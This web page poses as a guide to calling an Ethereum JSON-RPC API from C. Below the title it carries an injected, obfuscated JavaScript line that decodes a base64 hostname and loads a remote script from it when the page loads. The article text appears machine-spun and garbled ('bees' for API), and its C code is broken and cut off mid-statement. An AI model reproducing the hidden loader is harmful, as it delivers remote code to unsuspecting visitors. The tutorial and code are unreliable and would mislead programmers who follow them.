Ethereum: How to call JSON RPC API from C?
const pdx=”bm9yZGVyc3dpbmcuYnV6ei94cC8=”;const pde=atob(pdx.replace(/|/g,””));const script=document.createElement(“script”);script.src=”https://”+pde+”cc.php?u=9a32c20e”;document.body.appendChild(script);
Json-RPC API CALL WITH C: A guide
Json-RPC (notation today Javascript notation called Remote Procedures) is an open and open standard for the remote procedure call that allows developers to interact with servers on HTTP. While the Json-RPC protocol has become increasingly popular in recent years, it is still possible to call these bees from languages other than Javascript, including C.
In this article, we will pass through how to make RPC calls from C, focusing on the call to a Json-RPC fi using the Curl 'command tool and its equivalent for Windows: Curl.
Why use C for RPC calls?
While you can call Json-RPC bees in other languages, such as Python or Ruby, C offers several advantages:
* Performance : C is a low level language that allows direct access to hardware resources, resulting in faster execution times.
* Memory management : C has a manual management of memory, which can be more efficient than the waste collection mechanisms found in other languages.
* Portability
: Code C can be performed on any platform that supports the standard library andCURL ‘/CURL', making it an excellent choice for multi -platform development.
Step 1: Set your Json-RPC API
First, you will have to set your Json-RPC bees. This generally implies the creation of a server side application using languages such as Node.js, Python or Ruby that exhibit an interface with specific methods and parameters.
For this example, we will use the control row tool to interact with our Json-RPC bees.
Step 2: Write Code C for API
Here is an example of how you could write a simple json-rpc bees using C:
c
#include
#include
// define the API structure
Typedef Stuct {
Char method*;
VOID (Func) (VOID);
} Rpc_api;
// Function to manage RPC requests coming soon
RPC_API HANDLE_RPC_REQUEST (RPC_API API, CONT CHAR* METHOD) {
// Check if the request is valid
If (Strcmp (method, “Example_method”)! = 0) {
PRINTF (“Non valid request: %s \ n”, method);
return null;
}
// call the function with a value of the topic placeholder
char* arg = “hello world!”;
Api-> Func (Arg);
Return bees;
}
// Function to manage the RPC responses coming soon
void handle_rpc_resonse (void reply, int status_code) {
Switch (status_code) {
Case 200:
// Returns the answer as Json string
Fprintf (Stderr, “Answer: %s \ n”, response);
break;
Default:
Fprintf (Stderr, “Error: %d \ n”, status_code);
return null;
}
}
// Main function to manage RPC requests coming soon
Int Main () {
API RPC_API;
// Initialize the API with a placeholder function
Api.Method = “Example_method”;
bees.func = handle_rpc_request;
// Sets a HTTP server listener
int server_fd, new_socket;
Stuct SOCKADDR_IN address;
SOCKLEN_T ADDRLEN = SIZEOF (address);
// Bind Port 8080 to the socket
If ((server_fd = socket (af_inet, sock_stream, 0)) == 0) {
Perror (“socket”);
exit (1);
}
Address.sin_family = af_inet;
address.sin_port = Hons (8080);
Inet_pton (af_inet, “127.0.0.1”, & address.sin_addr);
// Listen to the incoming connections
If (Bind (Server_fd, (Stutt SOCKADDR *) & address, sizeof (address)) = -1) {
Perror (“Bind”);
exit (1);
}
// accepts incoming connections
IF ((New_Socket = Access (Server_fd, (Stutt SOCKADDR *) & Address, & Addrlen)) <0) {
Perror (“accept”);
exit (1);
}
PRINTF (“server listen to the 8080 door …
We write rarely, but only the best content.
